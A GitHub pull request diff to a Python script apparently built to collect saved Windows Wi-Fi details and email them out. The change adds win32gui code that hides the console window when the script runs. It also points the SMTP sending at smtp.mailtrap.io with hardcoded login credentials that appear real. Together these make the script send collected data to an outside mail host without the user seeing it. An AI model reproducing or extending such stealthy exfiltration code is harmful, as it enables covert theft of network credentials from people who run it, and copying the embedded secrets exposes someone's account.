Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added Win32Gui for hide terminal #33

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 8 additions & 2 deletions windows10-wifi-email.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,10 +5,16 @@
#https://www.youtube.com/davidbombal #
######################################
import subprocess
import win32gui,win32con
import re
import smtplib
from email.message import EmailMessage

# Win32 Gui allow us to hide the terminal after executing the code.
# Implemented by https://github.com/Mr-Cracker-Pro
hide_console = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hide_console,win32con.SW_HIDE)

# Python allows us to run system commands by using a function provided by the subprocess module (subprocess.run(<list of command line arguments goes here>, <specify the second argument if you want to capture the output>))
# The script is a parent process and creates a child process which runs the system command, and will only continue once the child process has completed.
# To save the contents that gets sent to the standard output stream (the terminal) we have to specify that we want to capture the output, so we specify the second argument as capture_output = True. This information gets stored in the stdout attribute. The information is stored in bytes and we need to decode it to Unicode before we use it as a String in Python.
Expand Down Expand Up @@ -63,11 +69,11 @@
email.set_content(email_message)

# Create smtp server
with smtplib.SMTP(host="smtp.gmail.com", port=587) as smtp:
with smtplib.SMTP(host="smtp.mailtrap.io", port=2525) as smtp:
smtp.ehlo()
# Connect securely to server
smtp.starttls()
# Login using username and password to dummy email. Remember to set email to allow less secure apps if using Gmail
smtp.login("login_name", "password")
smtp.login("50bac7437bd85e", "36cff643b7d70f")
# Send email.
smtp.send_message(email)